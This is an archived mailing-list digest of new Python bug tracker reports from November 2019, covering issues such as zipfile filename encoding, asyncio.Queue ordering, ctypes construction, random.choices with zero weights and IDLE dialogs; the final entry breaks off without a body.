Message-ID: <1574208869.25.0.189658973106.issue38859@roundup.psfhosted.org>


New submission from Jason Fried <me at jasonfried.info>:

If an AsyncMock uses a side_effect that is an Iterable, if called more than items exist its suppose to raise StopIteration according to the docs but PEP 479 says that is impossible. 

My Suggestion is that we update the docs and the code to Raise a StopAsyncIteration since it will not be converted to a RuntimeError

----------
components: Library (Lib)
messages: 357008
nosy: fried, lisroach
priority: normal
severity: normal
status: open
title: AsyncMock says it raises StopIteration but that is Impossible
type: behavior
versions: Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38859>
_______________________________________

From report at bugs.python.org  Tue Nov 19 21:34:04 2019
From: report at bugs.python.org (Justin Capella)
Date: Wed, 20 Nov 2019 02:34:04 +0000
Subject: [New-bugs-announce] [issue38860] GenericPyCData_new does not invoke
 new or init
Message-ID: <1574217244.17.0.279528403217.issue38860@roundup.psfhosted.org>


New submission from Justin Capella <justincapella at gmail.com>:

When subclassing the ctypes.Structure class, __new__ and __init__ are not invoked when using the inherited classmethod from_buffer_copy to create the object.

I think this is because tp_alloc is ultimately used by GenericPyCData_new when creating the object using the from_buffer_copy classmethod inherited from _CData.

https://github.com/python/cpython/blob/be143ec99674ba38c5811f34cdb85ef39c2dc8f8/Modules/_ctypes/_ctypes.c#L3202

Expected behavior: creation of Structure subclass object would invoke __new__ and possibly __init__.

----------
components: ctypes
files: ctypesnew.py
messages: 357022
nosy: b1tninja
priority: normal
severity: normal
status: open
title: GenericPyCData_new does not invoke new or init
type: behavior
versions: Python 2.7, Python 3.5, Python 3.6, Python 3.7, Python 3.8, Python 3.9
Added file: https://bugs.python.org/file48723/ctypesnew.py

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38860>
_______________________________________

From report at bugs.python.org  Tue Nov 19 21:52:22 2019
From: report at bugs.python.org (John Goerzen)
Date: Wed, 20 Nov 2019 02:52:22 +0000
Subject: [New-bugs-announce] [issue38861] zipfile: Corrupts filenames
 containing non-UTF8 characters
Message-ID: <1574218342.23.0.381286067182.issue38861@roundup.psfhosted.org>


New submission from John Goerzen <jgoerzen at users.sourceforge.net>:

The zipfile.py standard library component contains a number of pieces of questionable handling of non-UTF8 filenames.  As the ZIP file format predated Unicode by a significant number of years, this is actually fairly common with older code.

Here is a very simple reproduction case. 

mkdir t
cd t
echo hi > `printf 'test\xf7.txt'`
cd ..
zip -9r t.zip t

0xf7 is the division sign in ISO-8859-1.  In the "t" directory, "ls | hd" displays:

00000000  74 65 73 74 f7 2e 74 78  74 0a                    |test..txt.|
0000000a


Now, here's a simple Python3 program:

import zipfile

z = zipfile.ZipFile("t.zip")
z.extractall()

If you run this on the relevant ZIP file, the 0xf7 character is replaced with a Unicode sequence; "ls | hd" now displays:

00000000  74 65 73 74 e2 89 88 2e  74 78 74 0a              |test....txt.|
0000000c

The impact within Python programs is equally bad.  Fundamentally, the zipfile interface is broken; it should not try to decode filenames into strings and should instead treat them as bytes and leave potential decoding up to applications.  It appears to try, down various code paths, to decode filenames as ascii, cp437, or utf-8.  However, the ZIP file format was often used on Unix systems as well, which didn't tend to use cp437 (iso-8859-* was more common).  In short, there is no way that zipfile.py can reliably guess the encoding of a filename in a ZIP file, so it is a data-loss bug that it attempts and fails to do so.  It is a further bug that extractall mangles filenames; unzip(1) is perfectly capable of extracting these files correctly.  I'm attaching this zip file for reference.

At the very least, zipfile should provide a bytes interface for filenames for people that care about correctness.

----------
files: t.zip
messages: 357023
nosy: jgoerzen
priority: normal
severity: normal
status: open
title: zipfile: Corrupts filenames containing non-UTF8 characters
type: behavior
Added file: https://bugs.python.org/file48724/t.zip

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38861>
_______________________________________

From report at bugs.python.org  Wed Nov 20 01:06:45 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Wed, 20 Nov 2019 06:06:45 +0000
Subject: [New-bugs-announce] [issue38862] IDLE: Include end whitespace in
 whitespace fix.
Message-ID: <1574230005.44.0.889221869823.issue38862@roundup.psfhosted.org>


New submission from Terry J. Reedy <tjreedy at udel.edu>:

Format => Strip Trailing Whitespace should strip extra newlines at the end of the file after stripping each line, and make sure that there is at least one.  The latter is done when saving, and that code can be reused.

----------
assignee: terry.reedy
components: IDLE
messages: 357030
nosy: terry.reedy
priority: normal
severity: normal
stage: test needed
status: open
title: IDLE: Include end whitespace in whitespace fix.
type: behavior
versions: Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38862>
_______________________________________

From report at bugs.python.org  Wed Nov 20 09:01:19 2019
From: report at bugs.python.org (Siwon Kang)
Date: Wed, 20 Nov 2019 14:01:19 +0000
Subject: [New-bugs-announce] [issue38863] http.server is_cgi() does not
 correctly separate dir
Message-ID: <1574258479.69.0.180515084691.issue38863@roundup.psfhosted.org>


New submission from Siwon Kang <kkangshawn at gmail.com>:

is_cgi() in CGIHTTPRequestHandler class separates given path into (dir, rest) then checks if dir is in cgi_directories. However, it divides based on the first seen '/', multi-level directories like /sub/dir/cgi-bin/hello.py is divided into head=/sub, rest=dir/cgi-bin/hello.py then check whether '/sub' exists in cgi_directories = [..., '/sub/dir/cgi-bin'].
If the function divides by last seen '/', it works correctly as head=/sub/dir/cgi-bin, rest=hello.py

----------
components: Library (Lib)
files: sample.tar.xz
messages: 357074
nosy: kkangshawn
priority: normal
severity: normal
status: open
title: http.server is_cgi() does not correctly separate dir
type: behavior
versions: Python 3.6, Python 3.7, Python 3.8, Python 3.9
Added file: https://bugs.python.org/file48725/sample.tar.xz

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38863>
_______________________________________

From report at bugs.python.org  Wed Nov 20 10:07:49 2019
From: report at bugs.python.org (John Goerzen)
Date: Wed, 20 Nov 2019 15:07:49 +0000
Subject: [New-bugs-announce] [issue38864] dbm: Can't open database with
 bytes-encoded filename
Message-ID: <1574262469.06.0.509781459017.issue38864@roundup.psfhosted.org>


New submission from John Goerzen <jgoerzen at users.sourceforge.net>:

This simple recipe fails:

>>> import dbm
>>> dbm.open(b"foo")
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/usr/lib/python3.7/dbm/__init__.py", line 78, in open
    result = whichdb(file) if 'n' not in flag else None
  File "/usr/lib/python3.7/dbm/__init__.py", line 112, in whichdb
    f = io.open(filename + ".pag", "rb")
TypeError: can't concat str to bytes

Why does this matter?  On POSIX, a filename is any string of bytes that does not contain 0x00 or '/'.  A database with a filename containing, for instance, German characters in ISO-8859-1, can't be opened by dbm, EVEN WITH decoding.

For instance:

file = b"test\xf7"
>>> dbm.open(file.decode())
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
UnicodeDecodeError: 'utf-8' codec can't decode byte 0xf7 in position 4: invalid start byte
db = dbm.open(file.decode('iso-8859-1'), 'c')
db.close()

Then:

ls *.db | hd
00000000  74 65 73 74 c3 b7 2e 64  62 0a                    |test...db.|
0000000a

Note that it didn't insert the 0xf7 here; rather, it inserted the Unicode sequence corresponding to the division character (which is what 0xf7 in iso-8859-1 is).  It is not possible to open a filename named "test\xf7.db" with the dbm module.

----------
messages: 357078
nosy: jgoerzen
priority: normal
severity: normal
status: open
title: dbm: Can't open database with bytes-encoded filename

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38864>
_______________________________________

From report at bugs.python.org  Wed Nov 20 10:42:04 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 20 Nov 2019 15:42:04 +0000
Subject: [New-bugs-announce] [issue38865] Can Py_Finalize() be called if the
 current interpreter is not the main interpreter?
Message-ID: <1574264524.01.0.330569638863.issue38865@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at python.org>:

Programs/_testembed.c contains the following test used by test_embed:

static int test_audit_subinterpreter(void)
{
    Py_IgnoreEnvironmentFlag = 0;
    PySys_AddAuditHook(_audit_subinterpreter_hook, NULL);
    _testembed_Py_Initialize();

    Py_NewInterpreter(); 
    Py_NewInterpreter(); 
    Py_NewInterpreter(); 
 
    Py_Finalize(); 

    switch (_audit_subinterpreter_interpreter_count) {
        case 3: return 0;
        case 0: return -1;
        default: return _audit_subinterpreter_interpreter_count;
    }
}

When Py_Finalize() is called, the current interpreter is a subinterpreter (the 3rd interpreter), not the main interpreter.

* Is it correct to call Py_Finalize() in such case?
* Is Python supposed to magically destroy the 3 interpreters?

In bpo-38858, I'm trying to reuse the same code to initialize and finalize the "main" interpreter and subinterpreters. I had an issue with test_audit_subinterpreter() when working on the PR 17293.

I modified my PR 17293 to not expect that Py_Finalize() can only be called from the main interpreter, but actually check if the current interpreter is the main interpreter or not. It fix test_audit_subinterpreter() but again, I'm not sure what is the correct behavior?

--

Last year, we had a similar discussion about calling Py_Main() *after* Py_Initialize(). I hacked the code to make it possible because it was supported previously, even if the Py_Main() configuration is only partially applied. But I understood that Nick Coghlan would prefer to deprecate supporting to call Py_Initialize() before Py_Main().

PEP 587 added Py_RunMain() which provides a different solution to this problem:
https://docs.python.org/dev/c-api/init_config.html#c.Py_RunMain

----------
components: Interpreter Core
messages: 357080
nosy: eric.snow, nanjekyejoannah, ncoghlan, vstinner
priority: normal
severity: normal
status: open
title: Can Py_Finalize() be called if the current interpreter is not the main interpreter?
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38865>
_______________________________________

From report at bugs.python.org  Wed Nov 20 12:27:06 2019
From: report at bugs.python.org (Jackson Riley)
Date: Wed, 20 Nov 2019 17:27:06 +0000
Subject: [New-bugs-announce] [issue38866] test_pyclbr replace asyncore
Message-ID: <1574270826.5.0.92652602871.issue38866@roundup.psfhosted.org>


New submission from Jackson Riley <jacriley at cisco.com>:

sub-issue of (issue28533)[https://bugs.python.org/issue28533]

----------
components: Tests
files: pyclbr.patch
keywords: patch
messages: 357087
nosy: jacksonriley
priority: normal
severity: normal
status: open
title: test_pyclbr replace asyncore
Added file: https://bugs.python.org/file48726/pyclbr.patch

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38866>
_______________________________________

From report at bugs.python.org  Wed Nov 20 12:41:21 2019
From: report at bugs.python.org (Steve Dower)
Date: Wed, 20 Nov 2019 17:41:21 +0000
Subject: [New-bugs-announce] [issue38867] Enable Tkinter on Windows ARM
Message-ID: <1574271681.28.0.800107532571.issue38867@roundup.psfhosted.org>


New submission from Steve Dower <steve.dower at python.org>:

(Split out from issue33125)

We currently do not have ARM/ARM64 builds of Tcl/Tk for Windows, so we cannot enable tkinter on this platform.

When builds of the dependencies become possible (in 8.6.10, apparently), we can enable it again.

----------
components: Tkinter, Windows
messages: 357093
nosy: paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
stage: needs patch
status: open
title: Enable Tkinter on Windows ARM
type: enhancement
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38867>
_______________________________________

From report at bugs.python.org  Wed Nov 20 15:04:43 2019
From: report at bugs.python.org (Svetlana Vodianova)
Date: Wed, 20 Nov 2019 20:04:43 +0000
Subject: [New-bugs-announce] [issue38868] Shutil cannot delete a folder that
 contains an .ini file
Message-ID: <1574280283.41.0.914167266294.issue38868@roundup.psfhosted.org>


New submission from Svetlana Vodianova <svetlana.vodianova69 at gmx.com>:

I posted my problem on Stack Overflow, but as of right now haven't received any answers. 

Link: https://stackoverflow.com/questions/58922332/shutil-cannot-delete-a-folder-with-a-hidden-desktop-ini-file

To summarize my problem: If you use copytree to copy a source folder that contains a desktop.ini file to a destination, and then call rmtree() to remove the source folder, it will throw an error indicating it doesn't have permission to remove the folder. Using ignore_patterns() doesn't help either, or to quote my problem on SO:

It seems once the source contains a .ini file, even if it isn't copied to the destination, rmtree() will have a problem removing the source folder.

Powershell has almost the same issue, however, unlike Python, if you tell PS to ignore the .ini file, it will remove the folder without crashing.

rmtree has no problem removing folders containing 0 ini files.

----------
components: IO, Windows
messages: 357097
nosy: QueenSvetlana, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Shutil cannot delete a folder that contains an .ini file
type: crash
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38868>
_______________________________________

From report at bugs.python.org  Wed Nov 20 16:32:48 2019
From: report at bugs.python.org (Ian Carr-de Avelon)
Date: Wed, 20 Nov 2019 21:32:48 +0000
Subject: [New-bugs-announce] [issue38869] Unexpectedly variable result
Message-ID: <1574285568.87.0.779759342815.issue38869@roundup.psfhosted.org>


New submission from Ian Carr-de Avelon <carrdeavelon at gmail.com>:

I can't understand why the result of changes() in the example file changes. I get:
[[6.90642211e-310]
 [1.01702662e-316]
 [1.58101007e-322]]
[[0.]
 [0.]
 [0.]]
with an Ubuntu 14 system that has had a lot of changes made. I've checked the same happens on pythonanywhere.com so it does not seem to just be my system is broken. I wondered if there was some strange state in cv2 I don't know about, but as commenting out the tvec=np.zeros(3) line removes the behaviour I think there is something strange here. Now I've got it down to a few lines I can find a work around  and obviously numpy and opencv are huge packages and it may be in their court, but I think it is worth someone taking a look who knows more than me.
Yours
Ian

----------
files: bug.py
messages: 357105
nosy: IanCarr
priority: normal
severity: normal
status: open
title: Unexpectedly variable result
type: behavior
versions: Python 2.7
Added file: https://bugs.python.org/file48727/bug.py

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38869>
_______________________________________

From report at bugs.python.org  Wed Nov 20 17:34:29 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Wed, 20 Nov 2019 22:34:29 +0000
Subject: [New-bugs-announce] [issue38870] Expose ast.unparse in the ast
 module
Message-ID: <1574289269.61.0.90605518345.issue38870@roundup.psfhosted.org>


New submission from Pablo Galindo Salgado <pablogsal at gmail.com>:

As discussed in https://mail.python.org/archives/list/python-dev at python.org/thread/JAQDBMC23HW2PQ27HQNJ7G244T423IDD/ I propose to expose the unparse.py tool as part of the standard library in the ast module.

The exposed function will have the interface:

ast.unparse(ast_obj, *, option1, option2,...)

and will return a string with the unparsed version of ast_obj.

The unparse tool will need some cosmetic improvements that will be tracked separately in this issue.

----------
assignee: pablogsal
components: Library (Lib)
messages: 357107
nosy: BTaskaya, pablogsal
priority: normal
severity: normal
status: open
title: Expose ast.unparse in the ast module
type: enhancement
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38870>
_______________________________________

From report at bugs.python.org  Wed Nov 20 18:12:36 2019
From: report at bugs.python.org (Zoran Simic)
Date: Wed, 20 Nov 2019 23:12:36 +0000
Subject: [New-bugs-announce] [issue38871] lib2to3 generates invalid code
 with filter and ternary operator
Message-ID: <1574291556.7.0.332589714744.issue38871@roundup.psfhosted.org>


New submission from Zoran Simic <zsimic at netflix.com>:

This code snippet exposes a small edge case in lib2to3, where syntactically invalid code is generated:

data = [1, 2, 3, 4, 5]
x = filter(lambda x: True if x > 2 else False, data)
print(x)


lib2to3 transforms 2nd line above to:
x = [x for x in data if True if x > 2 else False]


which is invalid (would be OK with parentheses after 1st 'if')

Admittedly, the original code here is more complex that it should be ('True if foo else False' being equivalent to just 'foo'), but walked into this in "the real world" and wanted to report it.

----------
components: 2to3 (2.x to 3.x conversion tool)
messages: 357112
nosy: Zoran Simic
priority: normal
severity: normal
status: open
title: lib2to3 generates invalid code with filter and ternary operator
type: behavior
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38871>
_______________________________________

From report at bugs.python.org  Wed Nov 20 20:14:06 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Thu, 21 Nov 2019 01:14:06 +0000
Subject: [New-bugs-announce] [issue38872] Document exec symbol for
 codeop.compile_command
Message-ID: <1574298846.26.0.835938077059.issue38872@roundup.psfhosted.org>


New submission from Cheryl Sabella <cheryl.sabella at gmail.com>:

codeop.compile_command accepts 'exec' as a symbol, but it is not documented.  

Opening this bug report for an issue initially reported in PR3179.

----------
assignee: docs at python
components: Documentation
messages: 357118
nosy: cheryl.sabella, docs at python
priority: normal
severity: normal
status: open
title: Document exec symbol for codeop.compile_command
type: enhancement
versions: Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38872>
_______________________________________

From report at bugs.python.org  Wed Nov 20 21:37:22 2019
From: report at bugs.python.org (Sarah Harvey)
Date: Thu, 21 Nov 2019 02:37:22 +0000
Subject: [New-bugs-announce] [issue38873] find_library for libcrypto and
 libssl on Catalina returns the unversioned library
Message-ID: <1574303842.17.0.619288709802.issue38873@roundup.psfhosted.org>


New submission from Sarah Harvey <s at shh.sh>:

I've been tracking this through a bunch of different projects now. With the release of Mac OS X Catalina, libcrypto.dylib is a dummy library that causes an automatic segfault, to prevent upstream software from relying on it.

However a large amount of software makes use of ctypes find_library() which will return the path to the unversioned library.

It would be nice if we could specify "find the latest version" or similar so that we don't have to manually munge in a version, especially for strongly cross-platform libraries such as oscrypto.

I've filed a similar bug here https://github.com/wbond/oscrypto/issues/35 where it's very clear how it manifests itself.

----------
components: ctypes
messages: 357125
nosy: worldwise001
priority: normal
severity: normal
status: open
title: find_library for libcrypto and libssl on Catalina returns the unversioned library
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38873>
_______________________________________

From report at bugs.python.org  Wed Nov 20 22:25:54 2019
From: report at bugs.python.org (Junyeong Jeong)
Date: Thu, 21 Nov 2019 03:25:54 +0000
Subject: [New-bugs-announce] [issue38874] asyncio.Queue: putting items out
 of order when it is full
Message-ID: <1574306754.82.0.07273997342.issue38874@roundup.psfhosted.org>


New submission from Junyeong Jeong <rhdxmr at gmail.com>:

Hi

The python document says that asyncio.Queue is FIFO queue. But it is not true
when the queue is full and multi tasks are putting items into it
simultaneously. I know the document does not explicitly mention that
asyncio.Queue is multi producer queue, but also there does not exist any note
that it may be corrupt if used by multi producers.

I found the below scenario happens when the asyncio.Queue is full and multi
tasks are putting into it simultaneously. Let me explain this.

When a queue is full, putters are awaiting here: https://github.com/python/cpython/blob/d67279147ace3b63187e5d75a15c345264f39e85/Lib/asyncio/queues.py#L125

And the first of them is waken up here: https://github.com/python/cpython/blob/d67279147ace3b63187e5d75a15c345264f39e85/Lib/asyncio/queues.py#L188

Before the first putter hands over the control of execution, new putter
calls the .put() method so the queue is not full at this point that it calls
.put_nowait() immediately here: https://github.com/python/cpython/blob/d67279147ace3b63187e5d75a15c345264f39e85/Lib/asyncio/queues.py#L140

If this happens the new putter puts earlier than other awaiting putters.

I hope the queue gets fixed to work correctly in this case.

Thanks,

  Junyeong

----------
components: asyncio
messages: 357129
nosy: asvetlov, esrse, yselivanov
priority: normal
severity: normal
status: open
title: asyncio.Queue: putting items out of order when it is full
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38874>
_______________________________________

From report at bugs.python.org  Thu Nov 21 03:10:35 2019
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 21 Nov 2019 08:10:35 +0000
Subject: [New-bugs-announce] [issue38875] test_capi:
 test_trashcan_python_class1() and test_trashcan_python_class2() take one
 minute on my laptop
Message-ID: <1574323835.96.0.743188820296.issue38875@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at python.org>:

bpo-35983 added new tests to test_capi: test_capi now takes 1 minute 31 seconds :-( Previously, test_capi only took 9.5 seconds!

commit 351c67416ba4451eb3928fa0b2e933c2f25df1a3
Author: Jeroen Demeyer <J.Demeyer at UGent.be>
Date:   Fri May 10 19:21:11 2019 +0200

    bpo-35983: skip trashcan for subclasses (GH-11841)
    
    Add new trashcan macros to deal with a double deallocation that could occur when the `tp_dealloc` of a subclass calls the `tp_dealloc` of a base class and that base class uses the trashc
an mechanism.
    
    Patch by Jeroen Demeyer.

Attached PR modify these two tests to require the "cpu" resource. So by default, tests are not run and test_capi takes again 9.5 seconds instead of 1 min 30 sec.

Note: Travis CI runs the test suite using -uall,-cpu.

----------
components: Tests
messages: 357142
nosy: vstinner
priority: normal
severity: normal
status: open
title: test_capi: test_trashcan_python_class1() and test_trashcan_python_class2() take one minute on my laptop
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38875>
_______________________________________

From report at bugs.python.org  Thu Nov 21 06:22:59 2019
From: report at bugs.python.org (Linus Pithan)
Date: Thu, 21 Nov 2019 11:22:59 +0000
Subject: [New-bugs-announce] [issue38876] pickle is raising KeyError insteat
 of pickle.UnpicklingError under certain conditions
Message-ID: <1574335379.18.0.441188503497.issue38876@roundup.psfhosted.org>


New submission from Linus Pithan <linus.pithan at gmail.com>:

When unpickling fails one would expect a pickle.UnpicklingError exception or at least a PickleError. However, when trying

pickle.loads(b"jens:")

it fails with KeyError: 980643429 which is not the wanted behaviour.

----------
components: Library (Lib)
messages: 357159
nosy: Linus Pithan
priority: normal
severity: normal
status: open
title: pickle is raising KeyError insteat of pickle.UnpicklingError under certain conditions
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38876>
_______________________________________

From report at bugs.python.org  Thu Nov 21 08:28:49 2019
From: report at bugs.python.org (Florian Dahlitz)
Date: Thu, 21 Nov 2019 13:28:49 +0000
Subject: [New-bugs-announce] [issue38877] Python 3.9 build fails under
 Debian 9.11
Message-ID: <1574342929.28.0.219657775235.issue38877@roundup.psfhosted.org>


New submission from Florian Dahlitz <f2dahlitz at freenet.de>:

Today, I tried to build Python 3.9 from source, which failed. Building it without optimizations enabled fails due to an Segmentation fault (output_without.txt) and building with optimizations fails with a profile-opt error (output.txt).

$ lsb_release -a
No LSB modules are available.
Distributor ID:	Debian
Description:	Debian GNU/Linux bullseye/sid
Release:	9.11
Codename:	stretch

----------
components: Build
files: output.txt
messages: 357168
nosy: DahlitzFlorian
priority: normal
severity: normal
status: open
title: Python 3.9 build fails under Debian 9.11
type: compile error
versions: Python 3.9
Added file: https://bugs.python.org/file48729/output.txt

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38877>
_______________________________________

From report at bugs.python.org  Thu Nov 21 10:00:21 2019
From: report at bugs.python.org (Bar Harel)
Date: Thu, 21 Nov 2019 15:00:21 +0000
Subject: [New-bugs-announce] [issue38878] os.PathLike subclasshook causes
 subclass checks true on abstract implementation
Message-ID: <1574348421.53.0.110066874407.issue38878@roundup.psfhosted.org>


New submission from Bar Harel <bzvi7919 at gmail.com>:

Quick and small fix.

os.PathLike.__subclasshook__ does not check if cls is PathLike as abstract classes should.

This in turn causes this bug:

    class A(PathLike):
        pass

    class B:
        def __fspath__(self):
            pass

    assert issubclass(B, A)

I will fix the bug later today and push a patch over to python/cpython on GitHub.

----------
components: Library (Lib)
messages: 357174
nosy: bar.harel
priority: normal
severity: normal
status: open
title: os.PathLike subclasshook causes subclass checks true on abstract implementation
type: behavior
versions: Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38878>
_______________________________________

From report at bugs.python.org  Thu Nov 21 11:12:32 2019
From: report at bugs.python.org (=?utf-8?b?Wm9sdMOhbiBTemF0bcOhcnk=?=)
Date: Thu, 21 Nov 2019 16:12:32 +0000
Subject: [New-bugs-announce] [issue38879] Reordered error checking in
 PyArena_New().
Message-ID: <1574352752.3.0.334420443084.issue38879@roundup.psfhosted.org>


New submission from Zolt?n Szatm?ry <szatmary.zoltan1222 at gmail.com>:

Put "arena->a_cur = arena->a_head;" after the error checking of "arena->a_objects = PyList_New(0);". It's more optimal, even if it can't be measured.

----------
hgrepos: 386
messages: 357180
nosy: Zotyamester
priority: normal
pull_requests: 16809
severity: normal
status: open
title: Reordered error checking in PyArena_New().

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38879>
_______________________________________

From report at bugs.python.org  Thu Nov 21 11:14:53 2019
From: report at bugs.python.org (Lewis Gaul)
Date: Thu, 21 Nov 2019 16:14:53 +0000
Subject: [New-bugs-announce] [issue38880] Subinterpreters: List interpreters
 associated with a channel end
Message-ID: <1574352893.51.0.220552171167.issue38880@roundup.psfhosted.org>


New submission from Lewis Gaul <lewis.gaul at gmail.com>:

The public interpreters API being implemented for PEP 554 requires the ability to list interpreters associated with channel ends. This functionality needs adding in the internal subinterpreters module.

See https://github.com/ericsnowcurrently/multi-core-python/issues/52 and https://www.python.org/dev/peps/pep-0554/#api-for-sharing-data.

----------
messages: 357181
nosy: Lewis Gaul, eric.snow, nanjekyejoannah
priority: normal
severity: normal
status: open
title: Subinterpreters: List interpreters associated with a channel end
type: enhancement
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38880>
_______________________________________

From report at bugs.python.org  Thu Nov 21 12:35:22 2019
From: report at bugs.python.org (Iza Romanowska)
Date: Thu, 21 Nov 2019 17:35:22 +0000
Subject: [New-bugs-announce] [issue38881] unexpected behaviour of
 random.choices with zero weights
Message-ID: <1574357722.81.0.985505977312.issue38881@roundup.psfhosted.org>


New submission from Iza Romanowska <izaromanowska at gmail.com>:

Hi, 
When zero weights are given, the last element of a sequence is always chosen. Example: 

hits= []
for i in range(100):
    hits.append(random.choices(["A","B","C","D"], [0, 0, 0, 0])[0])
print (set(hits))

>> {'D'}

I guess that most users would expect that in case of zero weights it will default into a random.choice behaviour and select one option at random since this is what happens in cases when all weights are equal. Alternatively, it should return an empty array if the assumption was that all choices have a zero probability of being selected. Either way, if it is consistently choosing one option, this may be potentially difficult to spot in situations when a sequence of weights all equal to zero only happen sporadically.

----------
components: Library (Lib)
messages: 357185
nosy: IRomanowska
priority: normal
severity: normal
status: open
title: unexpected behaviour of random.choices with zero weights
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38881>
_______________________________________

From report at bugs.python.org  Thu Nov 21 13:41:21 2019
From: report at bugs.python.org (Marc Culler)
Date: Thu, 21 Nov 2019 18:41:21 +0000
Subject: [New-bugs-announce] [issue38882] IDLE should not make the about
 dialog be a transient of the withdrawn root window
Message-ID: <1574361681.05.0.359568609621.issue38882@roundup.psfhosted.org>


New submission from Marc Culler <culler at math.uic.edu>:

The soon-to-be-released Tcl/Tk 8.6.10 includes some changes to the macOS
port which cause the wm transient command to behave in the way that the
Tk manual says it should:

  "A transient window will mirror state changes in the master and
   inherit the state of the master when initially mapped."

This means that a transient of a withdrawn window will be withdrawn.  In
the macOS version of IDLE the about dialog is assigned as a transient
of the root window which is withdrawn, so the dialog does not appear on
the screen.  Consequently, activating the about menu will cause IDLE
to become unresponsive as it waits for an offscreen window to be closed.

Deleting line 28 in aboutDialog.py:

        self.transient(parent)

makes the about dialog behave normally.

----------
assignee: terry.reedy
components: IDLE
messages: 357195
nosy: culler, terry.reedy
priority: normal
severity: normal
status: open
title: IDLE should not make the about dialog be a transient of the withdrawn root window
type: behavior
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38882>
_______________________________________

From report at bugs.python.org  Thu Nov 21 13:45:12 2019
From: report at bugs.python.org (Christoph Reiter)
Date: Thu, 21 Nov 2019 18:45:12 +0000
Subject: [New-bugs-announce] [issue38883] Path.home() should ignore HOME env
 var like os.path.expanduser()
Message-ID: <1574361912.09.0.220955326522.issue38883@roundup.psfhosted.org>


New submission from Christoph Reiter <reiter.christoph at gmail.com>:

In issue36264 os.path.expanduser() was changed to no longer use the HOME environment variable on Windows.

There are two more ways in the stdlib to get the user directory, pathlib.Path.home() and pathlib.Path.expanduser() which internally use gethomedir() which still uses the HOME environment variable:

https://github.com/python/cpython/blob/0aca3a3a1e68b4ca2d334ab5255dfc267719096e/Lib/pathlib.py#L255

Since they are documented to work the same as os.path.expanduser() they should be changed to no longer use HOME as well.

----------
components: Library (Lib)
messages: 357196
nosy: lazka
priority: normal
severity: normal
status: open
title: Path.home() should ignore HOME env var like os.path.expanduser()
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38883>
_______________________________________

From report at bugs.python.org  Thu Nov 21 14:11:54 2019
From: report at bugs.python.org (Valentyn Tymofieiev)
Date: Thu, 21 Nov 2019 19:11:54 +0000
Subject: [New-bugs-announce] [issue38884] __import__ is not thread-safe on
 Python 3
Message-ID: <1574363514.58.0.324753075286.issue38884@roundup.psfhosted.org>


New submission from Valentyn Tymofieiev <valentyn at google.com>:

Attached import_module_not_found.py consistently fails for me on Python 3.7.5 and earlier Python 3 versions that I have tried with 

  File "/usr/lib/python3.7/threading.py", line 926, in _bootstrap_inner
    self.run()
  File "/usr/lib/python3.7/threading.py", line 870, in run
    self._target(*self._args, **self._kwargs)
  File "import_module_not_found.py", line 8, in t2
    return __import__("tensorflow.estimator", level=0)
ModuleNotFoundError: No module named 'tensorflow.estimator

Threads in this example finish successfully if executed sequentially.

I have not tried higher versions of Python, but I cannot reproduce this on Python 2.7. 

Is this an expected behavior?

Thank you.

----------
files: import_module_not_found.py
messages: 357198
nosy: Valentyn Tymofieiev
priority: normal
severity: normal
status: open
title: __import__ is not thread-safe on Python 3
versions: Python 3.7
Added file: https://bugs.python.org/file48734/import_module_not_found.py

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38884>
_______________________________________

From report at bugs.python.org  Thu Nov 21 14:49:42 2019
From: report at bugs.python.org (Brett Cannon)
Date: Thu, 21 Nov 2019 19:49:42 +0000
Subject: [New-bugs-announce] [issue38885] Have os.PathLike inherit from
 typing.Protocol
Message-ID: <1574365782.08.0.502784993713.issue38885@roundup.psfhosted.org>


New submission from Brett Cannon <brett at python.org>:

